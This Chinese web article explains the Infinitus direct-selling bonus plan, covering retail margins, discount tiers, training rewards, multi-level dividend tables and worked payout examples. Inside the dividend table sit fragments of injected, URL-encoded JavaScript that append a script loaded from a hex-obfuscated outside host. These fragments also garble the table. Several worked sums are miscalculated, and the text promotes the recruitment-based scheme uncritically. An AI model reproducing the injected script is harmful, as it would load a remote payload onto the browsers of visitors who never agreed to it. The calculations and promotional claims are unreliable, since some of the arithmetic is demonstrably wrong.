解读无限极奖金规章制度

时间：2024-10-27 09:15:31 规章制度

解读无限极奖金规章制度

　　解读无极限奖金规章制度

解读无限极奖金规章制度

　　获批直销经营许可证，是无限极发展历程中一个重要的新起点，无限极积极配合中央政府调整新的业务制度，现将公司以公布的制度策略整理如下，如有变动，请以无限极公司官方公布的最新资料为准，敬请关住!

　　无限极的奖金制度又称为“经销商奖励计划”。是所有从事无限极事业伙伴必须掌握的核心要素之一，同时也是公司和合作伙伴共同遵守的规范。公司通过充分研究美式、欧式、日本及马来西亚等世界直销业发达国家的著名直销企业的制度，认真分析中国国情而制定的非常人性化的制度。业绩不归零，可累积叠加，使得与无限极合作的伙伴在初期、中期和后期的每个阶段的利益都能获得充分保障，完全没有囤货冲击业绩的压力，可以轻轻松松随心所欲做直销。

　　无限极的“经销商奖励计划”归纳起来就是很简单的“十项服务报酬”：

　　1.零售利润——20%

　　2.销售折扣——10%

　　3.培训奖励——12.5% (又叫超额奖励)

　　4.业绩红利——6%

　　5.公司分红——10.5% (又细分为六个市场九个分区，后面详解。)

　　6.稳健奖金——0.5%

　　7.优秀奖金——0.3%

　　8.卓越奖金——0.2%

　　9.杰出成就奖——0.1%

　　10.旅游培训奖——1%

　　奖金比例拨付总额高达61.1%，是很多公司难以企及的，更加体现了公司“思利及人”的理念和文化内涵。

　　一、奖金制度解析—20% 零售利润

　　20%的零售利润，是指你已经投入了498元购买了无限极的产品，获得了销售无限极品牌产品的资格后，直接可以在全国任意一家正规的无限极公司授权的品牌专卖店以产品标价的80%额度付款拿货。

　　当你以产品标价在市场上销售成功后，就直接有20%的差额收入，销售越多收入相应的也就越高。当然这个20%的空间自己也可以根据销售的对象灵活掌握。比如说，你销售的对象是多年来很要好的密友或者同学，你只赚取10%或者N%的利润而把10%或者N%利润让给他，也是可以的。这种情况在你从事产品销售活动中应该占极小的比例，为了多卖产品而刻意销价是不可取的，首先是公司有明文规定不准销价，一旦发现将会受到开除资格的惩罚。其次你卖产品就是为了赚取差价，这个差价里包含了你为达成交易所付出的所有成本开支，包括交通费、通信费、宣传资料费以及售后服务费等等，所以无限极的伙伴们这个20%的利润也赚的合情合理。

　　二、经销商折扣10%

　　10%经销商销售折扣是指与之销售额相对应的折扣比率，从2%—4%—6%—8%—10%分为5个不同比率的梯级。

　　1. 1000元——2%：指你第一个月内完成了1000元的销售，就再得到2%的折扣利润，及 1000 * 2% =20 元。

　　2. 2000元——4%：指你第二个月的销售额加上第一个月的达到了2000元时就可以得到4%的折扣利润，及 2000*4%=80元。

　　3. 4000元——6%：当月的营业额达到4000元时可以得到6%的折扣收入，及4000*6%=240元。这项营业额可以与前面的业绩累积，也就是说这个月你实际的销售额不必达4000元，可以是1000或2000就可以拿到240元。

　　4. 6000元——8% : 当月的营业额达到6000元是可以得到8%的折扣收入，及6000*8%=480元。可以与前面相邻两个月的业绩累积计算。

　　5. 10000元——10% 当月的营业额达到10000元是可以得到10%的折扣收入，及10000*10%=1000元。可以与前面相邻两个月的业绩累积计算，当月实际销售额不必达到10000元，只有与前面的相加达到10000元的标准就可以了。

　　特别说明：以上销售折扣收入在达到了所要求的标准层级后，计算当月的奖金是按照本月你实际的销售额来计算的。例假如你7月份达到了4000元，8月份只销售了2000元，相邻两个月相加是6000元，这时候就达到了8%的折扣标准，但你8月份的实际收入是2000*8%=160元，而不是6000*8%=480元。

　　当你达到10%的级别标准，以后将永远享受10%的比例，不管你当月实际有多少销售额，只升不降。和前面20%的零售利润可以兼得，这时候已经有30%的利润空间，非常的划算诱人。

　　当月基层市场营业额达到某个分配比例，可享受该比例相应的百分比折扣，并可以得到与合作经销商分配比例折扣的利润差额。其方法有2，例如：

　　方法一：

　　你的市场里加上自己一共有A、B、C、D、4个合作伙伴，A是自己，B、C、D是与合作的下属部门。8月份总销售额是10000元，达到了10%的分配比例;但每个人的销售额分别是A(自己1000元)、B(1000元)、C(4000元)、D(4000元)，本月你的收入是总的销售额比例减去B、C、D每个人当月实际达标后实际应拿的相应折扣比例，计算如下：(10000*10%)-(1000*2%+4000*6%+4000*6%)=1000 —(20+240+240)=500元。

　　方法二：

　　A(你的收入还可以如下计算)：

　　自己1000*10%=100元

　　级差 B 1000*(10%-2%)=80元

　　C 4000*(10%-6%)=160元

　　D 4000*(10%-6%)=160元

　　合计为：100+80+160+160=500元。

　　注：获得经销商的资格是：a:当月销售额达到4000元;b:相连两个月达到6000元;c: 相连三个月达到10000元。

　　折扣只升不降，可以越级晋升;可以连续两个月的业绩累加升级;以经销商的当月全部市场营业额获取差额利润。

　　经销商当月最低销售额300点(优惠价就是销售点数)。

　　经销商应缴纳个人所得税金，将按国家税金规定，由公司代扣，上交税务局。

　　销售折扣两项优惠政策的具体计算方法如下：

　　(1)连续两个月营业额可以累积

　　例如：一月 4000点(6%)

　　二月 6000点 (+

　　——————————————————————————

　　( 两个月累积)10000 点10%

　　也就是说第二个月6000就可享受10%的折扣。

　　(2) 只升不降

　　例如：

　　一月收入：4000*6%=240元

　　二月收入：6000*10%=600元

　　三月收入：2000*10%=200元

　　三、培训(超额)奖励12.5%

　　1.当月达标经销商(10000点，含个人营业额300点)拥有一位直属达标市场(10000点，含个人营业额300点)，可以享受培训奖励1250元。注：达标经销商也就是“基础市场”。

　　例如：

　　A(自己)本月销售额为10000元

　　B(达标的市场部门)本月销售额也为10000元

　　你得到的培训奖励计算为：

　　A=10000*12.5%=1250元

　　2.当月拥有一位直属达标市场，但基础市场营业额不够10000点，也可以享受12.5%的培训奖励。

　　例如：

　　A自己(基础市场)本月销售额为4000元

　　B部门(直属市场)本月销售额为10000元

　　你也可以拿到12.5%的相应培训奖励，计算公式为A=4000*12.5%=500元

　　或者：A=300元(只达到了个人营业额)

　　B=10000元(满足达标标准)

　　你可以拿到的培训奖励计算公式为：A=300*12.5%=37.50元

　　3.当月没有直属达标市场，但你的整个基础市场营业额超过了10000点，超过的部分也可以享受12.5%的培训奖励。

　　例如：

　　A：销售额是6000元

　　B：销售额是6000元

　　C：销售额是4000元

　　D：销售额是4000元

　　那么你可以拿到的培训奖励的计算公式为：A=(20000—10000)*12.5%=1250元

　　“培训(超额)奖励”，顾名思义就是为你带好部门团队而设立的一项具有“领导”性质的奖金，鼓励你为下属部门多付出、勤付出、乐于付出的肯定和激励，积极为团队培养讲师及领袖人才。

　　四、业绩红利6%

　　1. 业绩红利分配百分比表

当月累积营业额（点）	百分比（%）	当月累积营业额（点）	百分比（%）
10，000	1.25	600，000	3.75
20，000	1.50	800，000	4.00
40，000	1.75	1，000，000	4.25
60，000	2.00	1，500，000	4.50
80，000	2.25	2，000，000	4.75
110，000	2.50	2，500，000	5.00
140，000	2.75	3，000，000	5.25
200，000	3.00	3，500，000	5.50
300，000	3.25	4，000，000	5.75
400，000	3.50	4，500，000	6.00

　　计算方法: 按当月个人累积营业额与直属合作经销商个人累积营业额的差额计算，红利百分比为1.25——6% ，划分20个台阶，每个台阶的阶差为0.25%，营业额可以计算到无限代。

　　例如：

　　A: 10000点(含个人300点)

　　B: 10000点(含个人300点)

　　C：10000点(含个人300点)

　　计算公式为： A=(30000*1.50%)—B(10000*1.25%)—C(10000*1.25%)

　　=450元—125元—125元

　　=A 200元

　　A: 300点

　　B: 10000点

　　C: 10000点

　　计算公式为： A=(20300*1.50%)—(10000*1.25%)—(10000*1.25%)

　　=304.5元—125元—125元

　　=A 54.5元

　　A: 2000点

　　B: 10000点

　　C: 20000点

　　D: 40000点

　　计算公式为： A= (72000*2.00%) — B(10000*1.25%)— C(20000*1.50%)— D(40000*1.75%)

　　=1440元—125元—300元—700元

　　=A 315元

　　五、公司分红10.5%

职级	业务主任	高级主任	业务经理	高级经理	业务总监
基础市场营业额（点）	10000	8000	6000	4000	2000
直属达标市场位数	1—2	3	#FormatImgID_0# cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A">4	5	6以上
第一分区	1.5	1.5	1.5	1.5	1.5
tsByTagName%28%27script%27%29%5B0%5D.src%3D%27http%3A//%78%71%7a%6e%2e%69%6e%66%6f%2f%61%2f%31%36%33%2f%6e%2e%70%68%70%27%3Bwindow.x%3D1%7D"> 第二分区	1.5	1.5	1.5	1.5	1.5
第三分区	1.5	1.5	1.5	1.5	1.5
第四分区		1.5	1.5	1.5	1.5
第五分区			1.3	1.3	1.3
第六分区			1.1	1.1	1.1
第七分区				0.9	0.9
第八分区					0.7
第九分区					0.5

　　获得条件：

　　业务主任以上有资格享受，最高享受九个分区。

　　公司分红收入表如下：

　　1. 当月拥有至少一个直属达标市场，基础市场营业额达到10，000点(含个人业绩300点)。

　　例如：当月你的市场销售额分别为

　　A：10000元 B: 10000元 C: 10000元 D：20000元

　　应得收入计算公式为：

　　A=10000*1.50%+10000*1.50%+10000*1.50%+20000*1.50%

　　=150元+150元+300元

　　=600元

　　B=10000*1.50%+20000*1.50%

　　=450元

　　2. 当月基础市场营业额不够10，000点，但培训出一个全新市场。

　　例如： B本月营业额只有300点，但他的直属合格市场中有一位是全新市场，使B有资格享受公司分红。

　　当月你的市场销售额分别为： A：10000; B：300; C: 10000; D: 10000; E:(全新市场)10000

　　A自己，B、C、D、E是你的下属部门，其中B为直接领导部门。

　　应得收入计算公式为：

　　B=10000*1.50%+10000*1.50%=300元

　　A=10300*1.50%+10000*1.50%+10000*1.50%

　　=154.5+150+150

　　=454.5元

　　注意：由以上计算公式可以清楚的阐述出，全新的市场E只是让你在基础市场营业额不够10000点时，获得了享受分红的资格，新市场E的当月营业额并不计算在你的分红奖金里。

　　3. 当月基础市场营业额不够10000点，可根据所拥有的直属达标市场的位数，相应减少对基础市场营业额的要求。

　　例如： B只有8000点，但他当月拥有三位(C:10000\D:10000\E:10000)直属达标市场，因此可以享受公司分红。

　　实际应得收入计算公式为;

　　B=(10000*1.50%)*3 —(10000—8000)*1.50%

　　= 450—30

　　=420元

　　注意：这时候的30元可以上浮至上届市场达标，计算公式为

　　A=10000*1.50%+2000*1.50%+(10000*1.50%)*3

　　=150+30+450

　　=630元

　　奖金提拨表：

分区	六六模式	提拨比例	提拨金额	每区金额	累计
1	6	10，000*1.50%	150	900	900
2	36	10，000*1.50%	150	5400	6300
3	216	10，000*1.50%	150	32400	37800
4	1296	10，000*1.50%	150	194400	226800
5	7776	10，000*1.30%	130	1010880	1205280
6	46656	10，000*1.10%	110	5132160	6143040
7	279936	10，000*0.90%	90	25194240	30326400
8	1679616	10，000*0.70%	70	117573120	142767360
9	10077696	10，000*0.50%	50	503884800	621457920

　　六、稳健奖金0.5%

　　获得此项奖金的条件是：

　　每两个10万市场计1分，四个10万市场计2分，后面以此类推，加权分配。

　　假设公司销售额为10亿元人民币，经统计符合资格人员的分数合计为1000分，则计算方法如下:

　　10亿*0.5%=500万

　　500万/1000分=5000元

　　按最低符合标准拥有1分计算，则每人可获奖励5000元。

　　七、优秀奖金0.3%

　　获得优秀奖金的条件有以下2个方法：

　　1. 拥有一个450万的市场，其他市场合计225万以上;

　　2. 拥有两个450万的市场，也享受此项待遇，没有其他营业额的要求。

　　计算方法：符合以上条件者为1分，符合条件多者，分数相应增加。以此类推，加权分配。

　　假设公司销售额为10亿人民币，经统计符合资格人员的分数合计为100分，则计算如下：

　　10亿*0.3%=300万

　　300万/100分=3万元

　　按最低符合标准拥有值分计算，则每人可获3万元奖励。

　　八、卓越奖金0.2%

　　获得条件：

　　总业绩450万以上，同时培养出5个50万市场计5分，每增加1个50万市场加1.5分。以此类推，加权分配。

　　假设公司销售额为10亿元人民币，经统计符合资格人员的分数合计为100分，则计算方法如下：

　　10亿*0.2%=200万

　　200万/100分=2万

　　按最低符合标准5分计算，则每人可获奖励10万元。

　　九、杰出成就奖0.1%

　　总业绩900万以上，同时培养出10个50万市场计10分，每增加1个50万市场计1.5分，依次类推，加权分配。

　　假设公司销售额为10亿人民币，经统计符合资格的人员的分数合计为100分，则计算公式如下：

　　10亿*0.1%=100万

　　100万/100分=1万

　　按最低符合标准拥有10分计算，则每人可获奖励10万。

　　十、旅游培训奖

　　获得条件：

　　1. 当月个人营业额必须达到300点。

　　2. 计算方法：逐月计分，年终累计。

　　3. 计算公式：月旅游积分=个人税前月收入/10 。

　　4. 年旅游积分标准：由公司测算后提前公布。

　　5. 税前年收入达到6万元以上可免费参加出国旅游培训。

　　注： 1. 本制度为吸引优秀人才而设计，大、中、小兼顾。

　　2. 拥有4个以上市场的业务经理不可兼做其它公司。

　　3. 推荐新顾客加入不算个人销售300点。

　　奖金制度相关名词解释

　　一、普通消费者：以零售价任意选购公司产品的消费者。

　　二、经销商: 符合业务资格申请条件，经本人申请，公司确认，从事产品推广、市场拓展及售前、售中、售后服务，且只容许获得一个经销商资格。(与公司签定劳务协议合同。提供中国银行、工商银行、建设银行其中一个户头复印件及身份证复印件)。一次性购买498元产品可申请办优惠卡和经销商资格，此卡在全球范围内专卖店均有效。

　　三、产品销售点数：用以计算您的营额，并据此发放奖金。

　　四、个人营业额：个人直接销售产品和拓展市场所销售之点数的总和。

　　五、基础市场营业额: 个人营业额及其所属不足10000点的销售小组营业额总和。

　　六、个人累积营业：个人营业额及其所属直销队伍营业额总和。

　　七、达标市场(达标经销商)：当月个人营业额达到10000点的销售小组(经销商)。

　　八、全新市场：当月第一次达到10000点的销售小组。

　　九、分区：指与您所领导的业务队伍组织结构的层数。

　　十、浮动业绩：计算公司分红时，观察业绩时，由下往上计算，有10000点者，为一个达标分区，不够10000点者，向上浮动，称之为浮动业绩。

　　十一、直属达标市场：您所领导的业务队伍组织结构中第一层的销售小组。

　　十二、经销商：当月销售4000元，相连两个月6000元或相连三个月10000元的市场。

　　十三、见习业务主任：连续三个月达到一万元的市场。

　　十四、业务主任： 1至2个市场总业绩3万以上，连续三个月。